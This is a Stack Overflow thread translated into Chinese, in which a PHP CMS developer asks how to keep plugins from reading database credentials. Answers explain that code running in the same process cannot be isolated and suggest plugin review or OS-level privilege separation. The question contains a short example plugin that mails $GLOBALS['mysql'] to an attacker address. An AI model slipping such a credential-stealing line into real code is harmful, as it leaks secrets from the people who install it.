【问题标题】:Protecting variables from stealing in php在php中保护变量不被窃取
【发布时间】:2012-05-01 17:23:42
【问题描述】:

我有一个问题在我脑海中盘旋了很久。 我在一个 CMS 项目上,我真的不知道该怎么做: 我希望这个 cms 可以通过使用插件系统进行修改,直到现在都没有什么困难。 好吧,我现在有这个问题,如何保护管理员用户的 mysql 密码等变量/常量? 例如,在文件 settings.php 我有

$mysql = array("user" => "admin"...);

我怎样才能让一个类不读它? 一个简单的类(插件)就可以了

class myplugin extends plugin_container {
function badfunction() {
mail("my bad address", "data stolen", $GLOBALS["mysql"]);
}

一个简单的插件,通过这种方式,可以窃取用户的敏感数据。我该如何解决这个问题?

【问题讨论】:

  • 你不能,而且试图找到一个技术解决方案是没有意义的。如果您信任插件代码在您的应用程序中执行,它必然可以访问当前环境。您应该检查第 3 方代码,以确保它没有试图窃取凭据或以其他方式危及您的服务器。

标签: php security plugins content-management-system


【解决方案1】:

你不能...插件可以执行代码,而你无法控制该代码。

但是,您可以一一批准插件,以避免潜在问题。

【讨论】:

    【解决方案2】:

    您不能在 PHP 中真正做到这一点。您可以将变量放在对象中,使其私有,但使用反射,其他代码也可以获取它。天啊,即使它不能,仍然有一些方法可以在你不应该的时候获取对象的内部结构,比如 var_dumpdebug_zval_dump 等等。

    我会建议:

    • 连接到数据库后丢弃密码(并在连接后加载模块)
    • 将其存储在内存以外的其他位置(配置文件),但这并不能解决任何问题,因为插件仍然可以访问该配置文件
    • 放弃并说“模块值得信赖”——这可能是所有 CMS 所做的事情
    • 一些更奇怪的方法 - 沙盒模块,以删除的 unix 权限作为单独的进程运行,虚拟化它们......我想这些都没有实际用处

    一般来说,当您的代码在某些上下文中运行(例如在 PHP 脚本中)并且您希望允许某些模块或插件在同一上下文中运行时,没有办法隐藏任何内容。该插件将可以访问相同的内存(所有变量)、所有打开的资源(数据库连接),并且基本上与该上下文中的任何其他代码没有区别。这同样适用于许多其他情况,例如在操作系统中运行的本机进程。当然,您可以使获取某些变量或资源变得“更难”,但您永远无法确保无法访问它。除非您在不同的上下文中运行其他代码(其他进程、虚拟化......)。

    【讨论】:

    • 然后,在删除之后,我就没有密码了,是的,但我仍然有(例如)必须为插件打开的 mysql 链接。有没有办法确定隐藏该链接?我想像一个类这样的东西,它知道它自己的函数在哪里被调用或类似的东西
    • 谢谢,真的很有用(1年多的思考一秒就过去了,至少我现在冷静了。)。
    【解决方案3】:

    虽然您可以尝试将 $mysql 的范围更改为某个本地范围 - 通过调用如下函数获取数据: 功能 mySafeBox() { 返回 $mysql; } 现在,插件代码将无法从 $_GLOBALS 访问它,但这样做没有意义...因为您使用它来依赖插件...这样,您将永远找不到这个问题的好“解决方案”,从未存在过

    【讨论】:

      【解决方案4】:

      PHP 不提供内部安全边界的功能。大多数语言都是这样的; Java 是个例外。

      因此,如果您想在 PHP 脚本中构建信任边界,则必须通过操作系统级别的权限分离机制来实现:生成一个在具有较低权限的单独用户主体下运行的进程,并使用管道在它们之间进行通信那和主要的受信任的应用程序。这将需要大量不适合通常 PHP 调用模型的架构返工。

      【讨论】:

        猜你喜欢
        • 2020-08-08
        • 2013-08-10
        • 2023-04-09
        • 2017-08-21
        • 2011-11-23
        • 1970-01-01
        • 2018-02-02
        • 1970-01-01
        • 2011-12-22
        相关资源
        最近更新 更多